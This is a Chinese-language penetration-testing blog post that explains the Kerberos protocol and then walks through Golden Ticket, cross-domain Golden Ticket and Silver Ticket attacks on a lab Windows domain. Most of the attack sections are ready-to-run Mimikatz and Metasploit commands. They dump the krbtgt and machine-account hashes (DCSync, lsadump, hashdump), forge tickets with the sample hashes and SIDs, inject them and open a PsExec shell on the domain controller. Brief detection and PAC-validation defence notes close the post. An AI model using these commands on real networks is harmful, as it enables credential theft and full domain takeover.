Yoga7xm's Blog

内网渗透--票据传递

内网渗透
字数统计: 2.9k阅读时长: 11 min
2019/04/19 Share

Kerberos协议（详细）

ptt.jpg)ker1.png

Client → KDC_AS

  1. 客户端账号Admin首先将密码利用散列运算转换成NTLM散列Key-Client
  2. 利用Key-Client将当前时间戳进行加密，生成一个字符串Key-Client{Stamp}
  3. 将生成的字符串、Admin的信息Info(A)以及一段随机字符串nonce发送给KDC_AS（身份验证服务），这就构成了AS-REQ请求

【注】：加密时间戳可以在一定程度上抵抗重放攻击

公式：

1
AS-REQ = Key-Client{Stamp} + Info(A) + nonce

数据包：

AS_REQ.png

KDC_AS → Client

  1. KDC收到AS-REQ之后，得到Admin的账号信息，然后在AD中查询出密码用同样的运算得到Key-Client
  2. 利用Key-Client解密字符串Key-Client{Stamp}，如果成功解密，说明该请求确实是A账户发出的，于是完成了对Client的认证
  3. 然后KDC用Key-Client对AS-REQ请求中的随机字符串nonce进行加密，账户A拿到密文之后，假如成功解密，说明该回应确实是KDC返回的
  4. KDC生成两个同样的密钥Key-Client-KDC，用作以后账户A和KDC之间相互的认证。但是KDC为了减少负担，这两个密钥都是由账户A进行保管。同样的，KDC利用散列运算将krbtgt密码生成一个散列值Key-KDC，然后利用此加密账户A的相关信息和一个密钥得到票据TGT，最后汇总返回给账户A的AS-REP

【注】：利用这个委托机制，KDC只需要自己的Key-KDC就可以解开委托给所有账号的TGT，从而获得与该账号进行通信的密钥Key-Client-KDC，这样极大地减轻了KDC的负担

公式：

1
2
3
TGT = Key-KDC{Info(A) + Key-Client-KDC}

AS-REP = TGT + Key-Client{Key-Client-KDC，时间戳，随机字符串}

数据包：

AS_REP.png

Client → KDC_TGS

  1. 客户端收到返回的AS-REP之后，利用自己的Key-Client解密密文得到随机字符串和时间戳来验证KDC的身份
  2. 然后将要访问的资源B的信息Info(B)、自身的信息以及TGT发送给KDC_TGS，构成TGS-REQ请求

公式：

1
TGS-REQ = TGT + Key-Client-KDC{Info(A)、时间戳} + Info(B)

数据包：

TGS_REQ.png

KDC_TGS → Client

  1. TGS收到请求后，先使用自己的Key-KDC解密TGT得到Key-Client-KDC，再使用此解密密文得到账号A的信息和时间戳来验证其身份，验证通过后就帮助A和B进行认证
  2. TGS生成同样的两个密钥作为A和B之间进行通信使用Key-Client-Server，一个密钥直接交给账号A，另一个密钥委托A转交给资源服务器B。为了确保密钥的安全性，TGS同样把B的密码散列成Key-Server，然后用此加密账号A的信息和密钥生成Ticket，最后汇总返回给账户A的TGS-REP

公式：

1
2
3
Ticket = Key-Server{Info(A) + Key-Client-Server}

TGS-REP = Ticket + Key-Client-KDC{Key-Client-Server}

数据包：

TGS_REP.png

Client → Server

  1. 账户A收到响应之后，首先使自己的Key-Client-KDC解开密文得到与服务器通信的Key-Client-Server，Ticket保存下来发送给Server B。假如接下来需要多次访问资源B，都可以使用同一个Ticket，而不需要每一次向KDC申请，这样极大的减轻了KDC的负担
  2. 账户A用Key-Client-Server加密自己的信息和时间戳以及Ticket发送给Server B，构成了AP-REQ

公式：

1
AP-REQ = Ticket + Key-Client-Server{ Info(A) + 时间戳 }

Server → Client

  1. 资源B收到AP-REQ，如果B为假的，那么无法解密Ticket；如果B是真的，就用自己的密码生成Key-Server用来解密Ticket，从而得到Key-Client-Server和A的信息以及时间戳
  2. 利用Key-Client-Server解开密文拿到A的信息和时间戳，将其与Ticket中得到的信息进行对比，如果一致，就发送AP-REP向账户A表明验证通过

最后账户A通过解密AP-REP得到的时间戳来判断对方是否为真。

公式：

1
AP-REP = Key-Client-Server{时间戳}

Golden Ticket

简述

在拥有普通域用户权限和Krbtgt账号的hash的情况下，获取域管理员权限。

发生在KDC_AS → Client过程，可以伪造TGT，宣称自己是域内任何账号（包括域管或者不存在的用户）

原理

Kerberos信任及完全依赖于KDC密码，TGS和AS并未记录以前的交互信息，所以该协议是无状态的。TGT是使用Krbtgt的密钥加密票据授予服务所需使用的全部信息，况且只有KDC才能解密TGT，所以Krbtgt的散列值成为域中最重要的密码。TGS对用户的认证过程中，只要能够成功解密TGT就会认为用户是可信的。

综上缺陷，如果攻击者得到Krbtgt的散列值，就能够生成任意的TGT

特点

  1. 内存中插入Golden Ticket不需要提升权限，默认情况下黄金票据的有效期是十年
  2. 黄金票据可以用来绕过当前Kerberos有关加密策略的要求，例如可以使用DES或者RC4加密算法创建一个TGT（即使该域明确支持AES，禁止使用DES或者RC4），这时候TGT使用DES加密而服务票据使用AES加密，TGS也不会报错，因为没有机制去报告
  3. 黄金票据并没有启用任何高级账户策略的设置。微软添加了一个功能来验证服务票据的请求以确保已禁用的TGT不能用于获取服务票据，然而该功能的实现存在问题。只有当TGT的寿命超过20分钟时，TGS才会验证TGT的有效性；寿命低于20分钟，TGS会直接颁发服务票据，而不去验证，默认情况下服务票据有十小时的有效期。所以攻击者只需清除旧的TGT，然后利用Mimikatz生成寿命少于20分钟的新TGT即可。
  4. 黄金票据可以被配置成任意用户和任意组的成员。这个可以绕过文件服务器或其他应用程序上基于用户组的访问限制，黄金票据中的用户和SID不必再AD中真实存在，也就意味着可以为域中不存在的用户创建TGT，并仍可以在TGT生命周期内前20分钟内从TGS获得服务票据
  5. krbtgt的NTLM hash不会轻易改变，即使修改域控管理员密码

条件

  • Krbtgt账户的NTML-Hash 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# DCSync是一个mimikatz功能，它将尝试模拟域控制器并从目标域控制器请求帐户密码信息。这种技术噪音较小，因为它不需要直接访问域控制器或通过网络检索NTDS.DIT文件。 
lsadump::dcsync /user:krbtgt

# Mimikatz可以通过在域控制器上执行Mimikatz从本地安全机构（LSA）检索krbtgt帐户的哈希值。	 
privilege::debug
lsadump::lsa /inject /name:krbtgt

# hashdump
meterpretr > hashdump

# Kiwi扩展还支持DCSync方法，可以检索SID，LM和NTLM哈希值。
dcsync_ntlm krbtgt

# NTDS.DIT
  • 域账户名称
  • 域名
  • 域SID
1
2
whoami /user   #前面是域SID，最后一个才是用户SID
PsGetsid64.exe yoga.com

domain_sid.png

实现

环境

  • 域控server12.yoga.com 192.168.114.135
  • 域机器win7.yoga.com 192.168.114.130

信息

  1. 导出krbtgt的hash
1
mimikatz log "lsadump::dcsync /domain:yoga.com /user:krbtgt"

拿到信息

1
2
3
4
/domain:yoga.com
/sid:S-1-5-21-2797208140-1070320520-4280831705-502
/Hash NTLM:da14705daf4edbbf31e8f8ced39a8d32
/aes256:3fba42f5b47f1b1b9832e1a8215c06eac3349f56b185613ae87cb60d411a62ec

生成golden ticket不仅可以使用ntlm hash，也能用aes256

工具

  1. Mimikatz

(1) 伪造god用户生成kirbi文件

1
2
3
4
5
# 利用ntlm hash
mimikatz "kerberos::golden /domain:yoga.com /sid:S-1-5-21-2797208140-1070320520-4280831705 /krbtgt:da14705daf4edbbf31e8f8ced39a8d32 /user:god /ticket:god.kirbi"

# 利用aes256
mimikatz "kerberos::golden /domain:yoga.com /sid:S-1-5-21-2797208140-1070320520-4280831705 /aes256:3fba42f5b47f1b1b9832e1a8215c06eac3349f56b185613ae87cb60d411a62ec /user:god /ticket:aes.kirbi"

(2) 导入kirbi文件

1
kerberos::ptt god.kirbi

然后就能登录上域控

golden_ticket.png

或者直接导入内存

1
2
3
4
5
# ntlm
mimikatz "kerberos::golden /domain:yoga.com /sid:S-1-5-21-2797208140-1070320520-4280831705 /krbtgt:da14705daf4edbbf31e8f8ced39a8d32 /user:god /ptt" exit

# aes256
mimikatz "kerberos::golden /domain:yoga.com /sid:S-1-5-21-2797208140-1070320520-4280831705 /aes256:3fba42f5b47f1b1b9832e1a8215c06eac3349f56b185613ae87cb60d411a62ec /user:god /ptt" exit

golden_ticket1.png

使用PsExec.exe可以直接进行shell访问

1
PsExec.exe \\server12.yoga.com\ cmd.exe

【注】：直接使用ip访问也是不行，必须得使用hostname

流量对比

TGS-REQ

golden_ticket2.png

TGS-REP

golden_ticket3.png

  1. Metasploit （本地测试失败）
1
2
3
4
5
6
7
8
# 直接用模块
post/windows/escalate/golden_ticket

# 导入kiwi
meterpreter > load kiwi
meterpreter > golden_ticket_create -d yoga.com -u root -s S-1-5-21-2797208140-1070320520-4280831705 -k da14705daf4edbbf31e8f8ced39a8d32 -t /root/root.tck /root/Downloads/pentestlabuser.tck 
meterpteter > kerberos_ticket_use /root/root.tck
meterpteter > kerberos_ticket_list

检测

事件4768是”TGT授予”，事件4769是”已授予AD中某些服务进行身份验证所需的Server Ticket”

security.png

检测获得的TGT和TGS有所不同，那么就能判断出正在受到Golden Ticket攻击。

EnhancedGolden Tickets

普通金票据的局限性

利用Krbtgt的NTLM Hash值生成的黄金票据能够获取域控权限和域内其他主机的任何服务，但是使用范围被限制在当前域中，无法跨域使用，包括子域对父域的跨域

原因

在生成golden票据的时候，/sid指定的是子域的sid，mimikatz拿到sid后会在尾部拼接RID号，EnterpriseAdmins用户组只存在于根域域控中，所以构造的SID在整个域林中都是不存在的，也就是无法跨域和访问其他域的资源

解决办法

通过域内主机在迁移时LDAP库中的SIDHistory属性中保存的上一个域的SID值制作加强版的黄金票据

1
mimikatz "kerberos::golden /domain:yoga.com /sid:子域SID /sids:根域SID /krbtgt:da14705daf4edbbf31e8f8ced39a8d32 /user:god /ticket:god.kirbi"

Silver Ticket

简述

发生在Client → Server阶段，伪造TGS生成的Ticket（Server Ticket）。当获取需要访问的目标服务器NTLM Hash之后，就可以利用mimikatz去伪造一个Ticket，然后直接去访问目标服务器。

原理

Server Ticket是TGS用远程服务器的NTLM Hash加密和签名得到的，而且服务器对用户认过程中，只要能够解密Server Ticket就会认为用户时可信的

特点

  1. 白银票据极限与特定服务器上的任何服务
  2. 任何事件日志都在目标服务器上
  3. 大多数服务不验证PAC，因此使用服务账户密码哈希生成有效的Ticket可以完全伪造PAC
  4. 因为在TGT已经在PAC里限定了给Client授权的服务（通过SID的值），所以银票只能访问指定服务
服务类型 服务名
WMI HOST、RPCSS
WinRM HOST 、HTTP
Powershell Remoteing HOST、HTTP
Scheduled Tasks HOST
LDAP、DCSync LDAP
Windows File Share(CIFS) CIFS
Windows Remote ServerAdministration Tools RPCSS、LDAP、CIFS

服务名参考指南

adsecurity Silver

  1. 白银票据的默认组
  • Domain Users SID:S-1-5-21-…..-513
  • Domain Admins SID:S-1-5-21-……-512
  • Schema Admins SID:S-1-5-21-….-518
  • Enterprise Admins SID:S-1-5-21-……-519 （只存在于一个林中的根域中，这个组的成员是域中的Administrator，对域有完全管理控制权）
  • Group Policy Creator Owners SID:S-1-5-21-…..-520

条件

  • 域名称
  • 域的SID值
  • 域的服务账户的密码Hash（如果是域控的话就是DC$）
  • 服务名
  • 伪造的用户名，可以是任意用户名

实现

环境

  • 域控server12.yoga.com
    • 192.168.114.135
  • 域内主机win7.yoga.com （Client端）
    • 192.168.114.130

信息

1
2
3
4
SERVER12$ （共享服务的密钥）
/domain:yoga.com
/sid:S-1-5-21-2797208140-1070320520-4280831705-502
/rc4(Hash NTLM):4892039871ddd1307ae864a77bf6ce25

attack

1
kerberos::golden /user:silver  /domain:yoga.com /sid:S-1-5-21-2797208140-1070320520-4280831705 /target:server12.yoga.com /rc4:4892039871ddd1307ae864a77bf6ce25 /service:cifs /ptt

防御

开启PAC特权属性证书保护功能，PAC主要是规定服务器将票据发送给Kerberos服务，由此进行验证票据的有效性

开启方式：

1
HKEY_LOCAL_MACHINE\SYSTEM \ CurrentControlSet\Control\Lsa\Kerberos\Parameters

中的ValidateKdcPacSignature设置为1

CATALOG
  1. 1. Kerberos协议（详细）
    1. 1.1. Client → KDC_AS
    2. 1.2. KDC_AS → Client
    3. 1.3. Client → KDC_TGS
    4. 1.4. KDC_TGS → Client
    5. 1.5. Client → Server
    6. 1.6. Server → Client
  2. 2. Golden Ticket
    1. 2.1. 简述
    2. 2.2. 原理
    3. 2.3. 特点
    4. 2.4. 条件
    5. 2.5. 实现
    6. 2.6. 检测
    7. 2.7. EnhancedGolden Tickets
  3. 3. Silver Ticket
    1. 3.1. 简述
    2. 3.2. 原理
    3. 3.3. 特点
    4. 3.4. 条件
    5. 3.5. 实现
    6. 3.6. 防御
Total : 65
2020
2019
2018
Git Exchange 内网渗透 vulnhub CTF php blog java CORS JSONP deserialize sql注入 web mysql unserialize xxe XSS ctf Mysql Web 隧道 redis 未授权 RFI smtp ssrf Linux vulnstack weblogic cryptology